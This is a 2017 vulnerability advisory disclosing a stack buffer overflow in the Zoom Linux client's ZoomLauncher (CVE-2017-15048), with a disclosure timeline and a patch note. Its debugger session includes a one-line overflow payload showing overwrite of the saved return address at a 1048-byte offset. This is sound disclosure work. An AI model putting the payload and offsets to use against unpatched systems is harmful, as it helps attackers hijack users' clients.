[CONVISO-17-002] - Zoom Linux Client Stack-based Buffer Overflow Vulnerability
1. Advisory Information
Conviso Advisory ID: CONVISO-17-002
CVE ID: CVE-2017-15048
CVSS v2: 6.8, (AV:N/AC:M/Au:N/C:P/I:P/A:P)
Date: 2017-10-01
2. Affected Components
Zoom client for Linux, version 2.0.106600.0904 (zoom_amd64.deb). Other versions may be
vulnerable.
3. Description
The binary /opt/zoom/ZoomLauncher is vulnerable to a buffer overflow because it concatenates a
overly long user input to a stack variable without checking if the destination buffer is long
enough to hold the data.
The binary also has important security features like canary turned off.
The client registers a scheme handler (zoommtg://) and this makes possible to trigger the
vulnerability remotely.
4. Details
gef> checksec
[+] checksec for '/opt/zoom/ZoomLauncher'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
gef>
gef> r $(python -c 'print "A"*1048 + "BBBBBBBB"')
Starting program: /opt/zoom/ZoomLauncher $(python -c 'print "A"*1048 + "BBBBBBBB"')
ZoomLauncher started.
Breakpoint 4, 0x00000000004025a6 in main ()
gef> x/5i $pc
=> 0x4025a6 <main+367>: call 0x4010f0 <strcat@plt>
0x4025ab <main+372>: lea rax,[rbp-0x410]
0x4025b2 <main+379>: mov rcx,0xffffffffffffffff
0x4025b9 <main+386>: mov rdx,rax
0x4025bc <main+389>: mov eax,0x0
gef> x/s $rdi
0x7fffffffd330: ""
gef> x/s $rsi
0x7fffffffdc35: 'A' <repeats 1048 times>, "BBBBBBBB"
gef> i f
Stack level 0, frame at 0x7fffffffd750:
rip = 0x4025a6 in main; saved rip = 0x7ffff7216f45
Arglist at 0x7fffffffd740, args:
Locals at 0x7fffffffd740, Previous frame's sp is 0x7fffffffd750
Saved registers:
rbp at 0x7fffffffd740, rip at 0x7fffffffd748
gef> ni
0x00000000004025ab in main ()
gef> i f
Stack level 0, frame at 0x7fffffffd750:
rip = 0x4025ab in main; saved rip = 0x4242424242424242
Arglist at 0x7fffffffd740, args:
Locals at 0x7fffffffd740, Previous frame's sp is 0x7fffffffd750
Saved registers:
rbp at 0x7fffffffd740, rip at 0x7fffffffd748
gef>
5. Solution
Upgrade to latest version.
6. Credits
Ricardo Silva <rsilva@conviso.com.br>
Gabriel Quadros <gquadros@conviso.com.br>
7. Report Timeline
Set 28, 2017 - Conviso sent first email asking for a channel to discuss the vulnerability.
Set 28, 2017 - Vendor asked the report in the current channel.
Set 28, 2017 - Conviso sent informations to reproduce the vulnerability.
Set 28, 2017 - Conviso asked if they could reproduce it.
Set 28, 2017 - Vendor replied saying that the informations were forwarded to engineering team.
Oct 5, 2017 - Vendor provided a patch candidate for testing.
Oct 5, 2017 - Conviso pointed problems in the patch.
Oct 11, 2017 - Vendor provided a patch candidate for testing.
Oct 12, 2017 - Conviso pointed problems in the patch.
Oct 23, 2017 - Conviso asked for status.
Oct 27, 2017 - Conviso asked for status.
Nov 1, 2017 - Conviso asked for status.
Nov 3, 2017 - Vendor replied.
Nov 6, 2017 - Conviso asked for status.
Nov 6, 2017 - Vendor replied.
Nov 9, 2017 - Conviso asked for status.
Nov 13, 2017 - Conviso asked for status.
Nov 15, 2017 - Conviso asked for status.
Nov 16, 2017 - Vendor provided a patch candidate for testing.
Nov 16, 2017 - The patch seems to fix the attack vector, although no further research was done.
Nov 20, 2017 - Vendor thanked and marked the issue as solved, considering the patch as a
sastifactory fix.
Nov 30, 2017 - Vendor released the version 2.0.115900.1201
8. References
https://zoom.us/download
https://support.zoom.us/hc/en-us/articles/205759689-New-Updates-for-Linux
9. About Conviso
Conviso is a consulting company specialized on application security. Our values are based on the
allocation of the adequate competencies on the field, a clear and direct speech with the market,
collaboration and partnership with our customers and business partners and constant investments
on methodology and research improvement. For more information about our company and services
provided, please check our website at www.conviso.com.br.
10. Copyright and Disclaimer
The information in this advisory is Copyright 2017 Conviso Application Security S/A and provided
so that the society can understand the risk they may be facing by running affected software,
hardware or other components used on their systems. In case you wish to copy information from
this advisory, you must either copy all of it or refer to this document (including our URL). No
guarantee is provided for the accuracy of this information, or damage you may cause your systems
in testing.
